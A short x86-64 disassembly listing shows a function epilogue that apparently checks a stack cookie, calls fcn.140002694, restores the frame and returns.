mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x1a8], 0
xor rax, rbp
mov rcx, rax
call fcn.140002694
mov eax, dword [rbp + 0x6c]
mov rbx, qword [rbp + 0x88]
lea rsp, [rbp + 0x1b0]
pop rbp
ret